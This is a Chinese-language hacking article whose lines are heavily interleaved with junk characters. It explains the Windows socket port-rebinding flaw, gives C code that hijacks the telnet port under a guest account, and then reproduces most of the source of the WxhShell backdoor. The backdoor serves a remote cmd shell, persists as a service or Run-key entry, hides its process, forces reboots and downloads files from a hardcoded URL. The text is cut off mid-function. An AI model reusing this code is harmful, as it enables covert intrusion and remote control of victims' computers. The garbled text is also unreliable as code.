在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Ds{{J5Um% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G7
1U 7 3rxo,pX94 saddr.sin_family = AF_INET;
u FMIY(vB DC&A1I& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
UQ5BH%EPb C1V# ?03eI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
!tI=`Ml[ tC2N>C[N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8O;Vl U);OR 这意味着什么?意味着可以进行如下的攻击:
4py(R-8\ {]=v]O|, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Q4X7Iu: Xad*Iulj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{] O`gG ,:^
N[b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x Y| yI> x;Gz6| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IeVLn^?+: JL.5QzA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
x"vwWJNQ z+jh;!i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
WM/#. Mec{_jiH&D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-PM)EGSk{ h}avX*Lx_ #include
#Rc5c+/(
#include
eK9TAW #include
iSlFRv?a #include
o
w2$o\hC DWORD WINAPI ClientThread(LPVOID lpParam);
|=\91fP68` int main()
R aefj(^V {
mG_BM/$ WORD wVersionRequested;
<{giHT DWORD ret;
Y&s2C%jT WSADATA wsaData;
e$/&M*0\f BOOL val;
h2% J/69 SOCKADDR_IN saddr;
;+
G9- SOCKADDR_IN scaddr;
^|aNG`|O int err;
@44P4?; SOCKET s;
+jtA&1cf SOCKET sc;
}w@gj"\H int caddsize;
MD<-w|#8IV HANDLE mt;
1i
u =Y DWORD tid;
+3Y!xD?= wVersionRequested = MAKEWORD( 2, 2 );
h'l^g%; err = WSAStartup( wVersionRequested, &wsaData );
84'?um if ( err != 0 ) {
;-Ss# & printf("error!WSAStartup failed!\n");
1~'_K9eE return -1;
|q_
!.
a }
=2,0Wo]$ saddr.sin_family = AF_INET;
W<NmsG})_g ,d|vP)SS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Tw//!rpG n>P!u71 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Noh?^@T`Ov saddr.sin_port = htons(23);
IZ 8y}2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
OC_M4{9/ {
t}Ss=0dJO printf("error!socket failed!\n");
:mpiAs<%U" return -1;
=OYQM<q }
W/r^ugDV val = TRUE;
I]X //SO_REUSEADDR选项就是可以实现端口重绑定的
&!jq!u$( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c&f
y{}10 {
!%xP}{(7 printf("error!setsockopt failed!\n");
'S?;J ,/ return -1;
bD<qNqX$ }
}E; F)=E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
S5_t1wqBJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6e .v&f7( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[9V]On F}U5d^!2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Fc8E Y* {
JDv-O&] ret=GetLastError();
?+r!z printf("error!bind failed!\n");
''S&e return -1;
-#?<05/C> }
qzK("d listen(s,2);
xQu
eE{ while(1)
/APcL5:= {
aI(>]sWJ caddsize = sizeof(scaddr);
,+._;[k //接受连接请求
>|3a
9S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5j{Np,K if(sc!=INVALID_SOCKET)
Km3&N {
DA"}A`HfI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zoP%u,XL if(mt==NULL)
@Z;1 g {
:EZQ'3X printf("Thread Creat Failed!\n");
++8_fgM break;
by86zX }
1$ML #5+, }
hazq#J! CloseHandle(mt);
Pl+xH%U+? }
hVP
IHQt closesocket(s);
n#*`!# WSACleanup();
8$vK5Dnn8 return 0;
`qiQ$kz }
E=u/tpj
DWORD WINAPI ClientThread(LPVOID lpParam)
&Y7C0v {
KWhZ +i` SOCKET ss = (SOCKET)lpParam;
- 8bNQU SOCKET sc;
H"CUZ unsigned char buf[4096];
6;oe=Q:Q SOCKADDR_IN saddr;
k\N4@UK long num;
A+
0,i DWORD val;
[f!O6moR6 DWORD ret;
c8A`<-\MfB //如果是隐藏端口应用的话,可以在此处加一些判断
[B^ G- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Lw*]EG|? saddr.sin_family = AF_INET;
)%Ru#}1X6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`cr(wdvI saddr.sin_port = htons(23);
[pgZbOIN37 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
] hE="z=n {
4nkE IZ printf("error!socket failed!\n");
v27Ja .tA return -1;
7@~tVxB; }
%f&< wC val = 100;
fSA)G$b] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I,O#X)O|i {
/#S>sOg2xq ret = GetLastError();
PlCc8Zy return -1;
~`eHHgX }
}/e`v6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N4UM82N {
9z ?7{2C ret = GetLastError();
K:5eek return -1;
u&]vd / }
I*\^,ow if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
mlu 3K {
D59T?B|BdD printf("error!socket connect failed!\n");
PRs@zkO closesocket(sc);
2 x4= closesocket(ss);
.px:e)iW return -1;
onte&Ed\ }
uDuF#3
+" while(1)
1u}nm;3 {
Q\kub_I{@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Sm|( //如果是嗅探内容的话,可以再此处进行内容分析和记录
m)&znLA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
SEF6B45}1 num = recv(ss,buf,4096,0);
\#dl6:" if(num>0)
=P^wh send(sc,buf,num,0);
+S~.c;EK else if(num==0)
{G*QY%j^ break;
GsV4ZZ num = recv(sc,buf,4096,0);
u oVNK if(num>0)
Qv#]81i(1 send(ss,buf,num,0);
d^V$Z6*
] else if(num==0)
E9 Y\X break;
9=+-QdX+0] }
WZFH@I28 closesocket(ss);
;-@= closesocket(sc);
"x*-PFT return 0 ;
UG[e//m }
3071:W \4bWWy v[S-Pi1 ==========================================================
JlZ0n; jO'|mGUM 下边附上一个代码,,WXhSHELL
kA#vByf`v 6*XM7'n ==========================================================
8 i0 hW2.8f$ #include "stdafx.h"
O/OiQ^T fA^Em)cs2 #include <stdio.h>
"="O > #include <string.h>
n:#TOU1ix< #include <windows.h>
4$"DbaC #include <winsock2.h>
uV]ULm#,i #include <winsvc.h>
",B'k #include <urlmon.h>
[CN$ScK, $3P`DJo #pragma comment (lib, "Ws2_32.lib")
,Og4
?fS #pragma comment (lib, "urlmon.lib")
_ PWj(}); %mI~
=^za #define MAX_USER 100 // 最大客户端连接数
~+n,1]W_ #define BUF_SOCK 200 // sock buffer
f3PMVf:< #define KEY_BUFF 255 // 输入 buffer
z&+
zl6 )0CQP #define REBOOT 0 // 重启
H;KDZO9W #define SHUTDOWN 1 // 关机
1dG06<! B~gV'(9g #define DEF_PORT 5000 // 监听端口
yTAvF\s$( VOgi7\ #define REG_LEN 16 // 注册表键长度
OtUrGQP #define SVC_LEN 80 // NT服务名长度
RA/EpD:H d@kc[WLD^ // 从dll定义API
FJS'G^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pP/@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5nLDj:C~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,=%nw]: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}Uw#f@Wh iI?{"}BZ // wxhshell配置信息
e<=;i" |
struct WSCFG {
:nGMtF int ws_port; // 监听端口
\ e:d)^cbh char ws_passstr[REG_LEN]; // 口令
;j}yB int ws_autoins; // 安装标记, 1=yes 0=no
a/:XXy | char ws_regname[REG_LEN]; // 注册表键名
x8N|($1 char ws_svcname[REG_LEN]; // 服务名
J !#Zi#8sF char ws_svcdisp[SVC_LEN]; // 服务显示名
'3,\@4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ex(3D[WmMW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\cySWP[ int ws_downexe; // 下载执行标记, 1=yes 0=no
'fW#7W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ka-p& Uv1< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;4~U,+Av |:q/Dt@ };
q&si% _PXdzeI. // default Wxhshell configuration
3fkk
[U struct WSCFG wscfg={DEF_PORT,
FLr;`3 "xuhuanlingzhe",
_N#&psQzw 1,
Dgi~rr1`'s "Wxhshell",
#}yTDBt "Wxhshell",
, Ww "WxhShell Service",
SBf FZw) "Wrsky Windows CmdShell Service",
I3y9:4 "Please Input Your Password: ",
FxU'LN<;HY 1,
vv5i? F
"
http://www.wrsky.com/wxhshell.exe",
=!.mGW-Q} "Wxhshell.exe"
:d'
5O8 };
gR gog*z 'ZHdV,dd // 消息定义模块
p+w8$8) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T[uDZYx char *msg_ws_prompt="\n\r? for help\n\r#>";
O.+9,4A( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$RO$}! char *msg_ws_ext="\n\rExit.";
wyY*:{lZ char *msg_ws_end="\n\rQuit.";
o'=VZT9 char *msg_ws_boot="\n\rReboot...";
4u1KF:g char *msg_ws_poff="\n\rShutdown...";
%u!XzdG char *msg_ws_down="\n\rSave to ";
$:vkX n^9 ?~ char *msg_ws_err="\n\rErr!";
)|]dmQ- char *msg_ws_ok="\n\rOK!";
&7 [[h+Lb =nRuY' char ExeFile[MAX_PATH];
}C#3O{5 int nUser = 0;
oyeG$mpg HANDLE handles[MAX_USER];
8tc*.H{^+ int OsIsNt;
%'ZN`XftG < o I8-f SERVICE_STATUS serviceStatus;
AXW!]=?X SERVICE_STATUS_HANDLE hServiceStatusHandle;
n Wgv~{,x 7TWNB{
K_ // 函数声明
:c8^db`" int Install(void);
46XN3r int Uninstall(void);
284zmZZ int DownloadFile(char *sURL, SOCKET wsh);
96Zd M= int Boot(int flag);
?d-70pm void HideProc(void);
w]!0< int GetOsVer(void);
R}{GwbF_\ int Wxhshell(SOCKET wsl);
8l) void TalkWithClient(void *cs);
j6>tH"i int CmdShell(SOCKET sock);
^R_e int StartFromService(void);
@.9I3E-= int StartWxhshell(LPSTR lpCmdLine);
v5$s#f< x>3@R0A1: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
")`S0n5e VOID WINAPI NTServiceHandler( DWORD fdwControl );
lOerrP6f( bhg}-dto // 数据结构和表定义
r0\f;q SERVICE_TABLE_ENTRY DispatchTable[] =
Es8#]'Rk {
oY3>UZ5\ {wscfg.ws_svcname, NTServiceMain},
8T5k-HwE {NULL, NULL}
Y1\K;;X };
{B{i(6C( j\2[H^
// 自我安装
`gguip-C int Install(void)
C{m&}g` {
kQIw/@WC char svExeFile[MAX_PATH];
IN !02`H HKEY key;
=*MR(b> strcpy(svExeFile,ExeFile);
vrIV%l= 2*OxA%QELM // 如果是win9x系统,修改注册表设为自启动
Z^_>A)<s< if(!OsIsNt) {
Ft-6m% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ElR)Gd_ 8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]+%=@mWYs RegCloseKey(key);
77aX-e*=E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+{-]P\oc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3H8Al RegCloseKey(key);
)%j" return 0;
/lH'hcXcX }
pj|X]4?wdI }
<GZhH: }
b! tludb else {
pXW`+<g0 uMiyq< // 如果是NT以上系统,安装为系统服务
A3yi?y{[* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
p\D >z(" if (schSCManager!=0)
V
SAafux {
nNR:cGfG SC_HANDLE schService = CreateService
3M
N (
=AkX4k schSCManager,
x_:hii?6V wscfg.ws_svcname,
WU\m^!`w=F wscfg.ws_svcdisp,
F`&>NQb SERVICE_ALL_ACCESS,
nCaLdj? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5*j:K&R-.K SERVICE_AUTO_START,
pVG>A&4 SERVICE_ERROR_NORMAL,
W~dE svExeFile,
c@OP5L>{ NULL,
A,<@m2 NULL,
O@,i1ha% NULL,
YFvgz.>QE NULL,
Z_itu73I NULL
wn84?$BGd );
L@A9{,9Pl if (schService!=0)
hqW$kw {
'NjSu64W CloseServiceHandle(schService);
|- OHve4A CloseServiceHandle(schSCManager);
Xj,j0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
h48 bb.p2 strcat(svExeFile,wscfg.ws_svcname);
E .;io*0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!-(J-45 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{B^pnLc RegCloseKey(key);
kI+b <$:D return 0;
zoXuFg }
>hb-5xC }
`|,tCM&- CloseServiceHandle(schSCManager);
AM/lbMr }
`A{'s %$?! }
m+T2vi 4 return 1;
z7q%,yw3N }
(xUFl@I! eT\p-4b // 自我卸载
{ _X#fq0} int Uninstall(void)
vnZ/tF {
(`mOB6j HKEY key;
U_Y;fSl> n/-N;'2J if(!OsIsNt) {
|"\lL9CT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%kW3hQ<$ RegDeleteValue(key,wscfg.ws_regname);
qKs7WBRJy RegCloseKey(key);
M6x;BjrV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y[,U_GX/R RegDeleteValue(key,wscfg.ws_regname);
g&
>mP? RegCloseKey(key);
Eq7gcDQ return 0;
i n?T]} }
y`+<X{V5L }
SyB-iQn }
._(z~3s else {
UP*yeT,P, u[J7Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Y-7.Vjt^ if (schSCManager!=0)
x`3.Wu\ {
R\
e#$"a5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]>*I) H)
if (schService!=0)
d#Wn[h$" {
2w7@u/OC' if(DeleteService(schService)!=0) {
9BurjG1k? CloseServiceHandle(schService);
_!;\R7] CloseServiceHandle(schSCManager);
%\ _h7: return 0;
J{x##p<F$ }
cuNq9y;[ CloseServiceHandle(schService);
>rRjm+vg }
)#mW7m9M# CloseServiceHandle(schSCManager);
!$XO
U'n }
G`WzJS*}v }
#nDL 5Wl,J _<F return 1;
(ai72#nFtb }
KK .cDAR s9kTuhoK // 从指定url下载文件
wEv*1y4 int DownloadFile(char *sURL, SOCKET wsh)
rl41#6 {
z22N7W=7 HRESULT hr;
P^n{Y~P=Q char seps[]= "/";
|:/ @t char *token;
9XY|V<} char *file;
"$4hv6 s char myURL[MAX_PATH];
G dL4|xv char myFILE[MAX_PATH];
B~e7w 4 U(8I+xZ strcpy(myURL,sURL);
25w6KBTe;: token=strtok(myURL,seps);
Ic_t c while(token!=NULL)
H8x:D3C0 {
1=- X<M75 file=token;
ap{{(y&R token=strtok(NULL,seps);
H|x k${R` }
X.:_"+I; w7Pe GetCurrentDirectory(MAX_PATH,myFILE);
_i#@t7 strcat(myFILE, "\\");
B##C{^5A` strcat(myFILE, file);
P'gT6*an," send(wsh,myFILE,strlen(myFILE),0);
v3!by N^ send(wsh,"...",3,0);
=
c/3^e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O]4W|WI3 if(hr==S_OK)
>DkN+S return 0;
~c9vdK else
#{?m return 1;
R|6RI} i"ck`6v"8 }
C-_w]2MM aB7d( // 系统电源模块
_TV2) int Boot(int flag)
upZYv~Sa {
/ *Ou$ HANDLE hToken;
lxr@[VQ TOKEN_PRIVILEGES tkp;
1\=pPys) @m }rQT if(OsIsNt) {
5IwX\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`*|LI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H@Kl tkp.PrivilegeCount = 1;
zvWO4\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Z&BM%.NZJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
44g`=o@ if(flag==REBOOT) {
^?81.b|qb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\E>%W return 0;
tOu90gu }
vK[v
eFH else {
=kyJaT^5[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
O[3q9*( return 0;
a-SB1-5jf }
2M!+gk=+ }
I67k M{V else {
zDKLo 3: if(flag==REBOOT) {
)^V5*#69D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
VGkW3Nt0 return 0;
Xd90n>4S }
7r:nMPX else {
rin >r0o if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1gf/#+$\ return 0;
]Hv*^Bak }
])3lH%4- }
_.oRVYK/ &h_d|8 return 1;
Q;{D8 #! }
9RbGa
Y& : 8p2Jxm // win9x进程隐藏模块
dn:|m^<) void HideProc(void)
>Rx8 0 {
6i*p
+S?U" *m `KU+o-u HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Y9\]3Kno if ( hKernel != NULL )
1o"y%*" {
38zR\@'j]4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:y<Cd[/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<S:,`v&Z FreeLibrary(hKernel);
hO:)=}+H }
=6L:Ix VO\S>kw return;
{H~8'K- }
FRs|!\S= +c~O0U1 // 获取操作系统版本
A3<P li int GetOsVer(void)
n57c^/A* {
Hzk1LKsT# OSVERSIONINFO winfo;
Wb*T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
r!-L`GUm GetVersionEx(&winfo);
'Sb6
w+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7.F& {:@_ return 1;
W! 5Blo else
$u0+29T2O return 0;
1.ugXD }
FW6E)df f%(e,KgW= // 客户端句柄模块
\?p9qR;"4 int Wxhshell(SOCKET wsl)
h}c6+@w&- {
@$N*lrM2 SOCKET wsh;
2={K-s20 struct sockaddr_in client;
q%)*,I< DWORD myID;
=~(L JPo6 yF [@W< while(nUser<MAX_USER)
)BM WC
k {
CC]@`R5 int nSize=sizeof(client);
Is#v6:#^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
U:T5o]P< if(wsh==INVALID_SOCKET) return 1;
cZ7F1H~ b5iJm- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SOi(5] if(handles[nUser]==0)
~
33@H closesocket(wsh);
Hme@9(zD. else
SFm.<^6 nUser++;
z!uB&2C{k }
55jY` b. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-*-zU#2| ix_$Ok return 0;
LRLhS<9 }
uDMUy"8&! z;z'`A // 关闭 socket
&_Xv:? void CloseIt(SOCKET wsh)
"KQ\F0/ {
o*5e14W(: closesocket(wsh);
~[bMfkc3 nUser--;
G~mB=] ExitThread(0);
El8.D3 }
Lqf#,J 83O^e&Bt // 客户端请求句柄
hPCSLJ void TalkWithClient(void *cs)
z|4@nqqX {
>GF(.:7 $=6kh+n@ SOCKET wsh=(SOCKET)cs;
@'G ( k; char pwd[SVC_LEN];
(B?xq1Q char cmd[KEY_BUFF];
?X5glDZ$ char chr[1];
SieV%T0t1 int i,j;
13NS*%~7[ pC?1gc1G while (nUser < MAX_USER) {
2L{:H ^.$r1/U if(wscfg.ws_passstr) {
@kgpq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
JOoLHZQ1v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;*$8iwBQ_ //ZeroMemory(pwd,KEY_BUFF);
D}
<o<Dk i=0;
crOtQ while(i<SVC_LEN) {
<@;xV_`X+ d .lu // 设置超时
ZkVvL4yIK fd_set FdRead;
}od7YL struct timeval TimeOut;
j]]ziz,E FD_ZERO(&FdRead);
:."n@sA@ FD_SET(wsh,&FdRead);
[3;Y:&D TimeOut.tv_sec=8;
C&#KdvN/r TimeOut.tv_usec=0;
uEi.nSp)S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
CSg5i&A= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
m{=~|I :!it7vZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
+^% &8< pwd
=chr[0]; 1'._SMP
if(chr[0]==0xd || chr[0]==0xa) { 1)kl
pwd=0; $hY]EB
break; T>:g
ME
} sp]y! zb"5
i++; %X-&yGY
} SoON@h/
yl;$#aZB
// 如果是非法用户,关闭 socket mjr{L{H=?+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ."@a1_F|
} sMpC4E
/)OO)B-r
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '~x_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {
'mY>s7
)-Sl/G
while(1) { 'rx,f
^Y*.Ktp,o
ZeroMemory(cmd,KEY_BUFF); !/q&0 a
Q9'V&jm
// 自动支持客户端 telnet标准 If I$
j=0; 5'L}LT8p@
while(j<KEY_BUFF) { g7q]Vj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d4=u`2w
cmd[j]=chr[0]; .Y Frb+6
if(chr[0]==0xa || chr[0]==0xd) { _ .
cmd[j]=0; `0gK;D8t
break; WOTu"Yj
} VH1c)FI
j++; s/'h LkxI
} Qmh(+-Mp(
LCm}v&~%A
// 下载文件 QMfy^t+I
if(strstr(cmd,"http://")) { {*P7)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9(gOk
if(DownloadFile(cmd,wsh)) MicVNs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KKTfxNxJn
else WiCM,wDi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Fc1'
} tf}Q%)`f
else { DB=cc
#3ro?w
switch(cmd[0]) { vT<wd#
U=1`. Ove
// 帮助 `U>b6{K
case '?': { !(AFT!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MvwJ(3
break; K OHH74}_
} s 17gi,"X
// 安装 1+ARV&bc
case 'i': { Dve5m=
if(Install()) I6Q_A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 745V!#3!M
else RloPP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c15^<6]g
break; ialk6i![
} V\8
5
// 卸载 %cif0Td
case 'r': { 'cc4Y~0s
if(Uninstall()) +}Wo=R}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yXQ;LQ;
else nU#q@p)Xg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qvg"5_26v
break; [5d][1=
} 5'[X&r%#
// 显示 wxhshell 所在路径 u\;dUnr
case 'p': { ![C$H5
char svExeFile[MAX_PATH]; &l*dYzqq
strcpy(svExeFile,"\n\r"); QnAf A%
strcat(svExeFile,ExeFile); 5}aC'j\
send(wsh,svExeFile,strlen(svExeFile),0); H<Taf%JT
break; Nm.>C4
} <"P
'"SC
// 重启 S;<?nz3
case 'b': { 3@bjIX`=H
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]xeyXw84k
if(Boot(REBOOT)) V zx(J)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bo/!u
s#
else { rNO;yL4)ey
closesocket(wsh); 8"rX;5
vP
ExitThread(0); C)kQi2T
}
F}4 0
break; x5Pt\/ow
} c324@o^V
// 关机 >mltE$|
case 'd': { #I wB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }iloX#
if(Boot(SHUTDOWN)) *}&aK}h}I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (6^k;j
else { ZKL%rp_
closesocket(wsh); NUtyUv
ExitThread(0); E cz"O
} \+A<s,x
break; JNl+UH:.
} 1/BMs0 =
// 获取shell nU *fne?
case 's': { UL"3skV
CmdShell(wsh); ]997`,1b
closesocket(wsh); K9Fnb6J$u
ExitThread(0); LK5H~FK
break; ea+rjv m
} QYGxr+D
// 退出 *s4!;2ZhsU
case 'x': { mf'1.{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jjq%cA
CloseIt(wsh); I]$d,N!.
break; zPc;[uHT
} .AW*7Pp`f
// 离开 9Q1GV>j>B
case 'q': { MF(~!SOIG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3%a37/|~y
closesocket(wsh); :.Sc[UI0
WSACleanup(); kl9z;(6p
exit(1); k| o,gcU
break; =*U24B*U93
} @>j \~<%
} c[7qnSH
} xxn&{\
?
g_X7@Dt
// 提示信息 h)`vc#"65k
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `:4cb$
} ijYLf.R<
} }(''|z#UE
\ChcJth@o<
return; Y'h'8
\
} 0/]vmDr
".ZiR7Z:$Y
// shell模块句柄 bm.H0rHR4
int CmdShell(SOCKET sock) QD~`UJe>
{ 'b,D;'v
STARTUPINFO si; c y$$}
ZeroMemory(&si,sizeof(si)); r&DK> H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !:e
qPpz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \&90$>h
PROCESS_INFORMATION ProcessInfo; 'wt|buu-H
char cmdline[]="cmd"; [9^e
u>)A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _F EF+I
return 0; uSjMqfK
} X_F= ;XF/
mY(
_-[W
// 自身启动模式 ]H[\~J
int StartFromService(void) N-]n>E
{ Hd`RR3J
typedef struct
n9Yk;D2
{ .zt]R@@6
DWORD ExitStatus; N!,l4!M\N
DWORD PebBaseAddress; Yv-uC}e
DWORD AffinityMask; $z]l4Hj
DWORD BasePriority; 9=f'sqIPV
ULONG UniqueProcessId; Nj\WvKG
ULONG InheritedFromUniqueProcessId; =x}/q4}L
} PROCESS_BASIC_INFORMATION; `-\"p;Hp0
-~k2Gy;E
PROCNTQSIP NtQueryInformationProcess; s_TM!LRUcw
oJ+$&P(
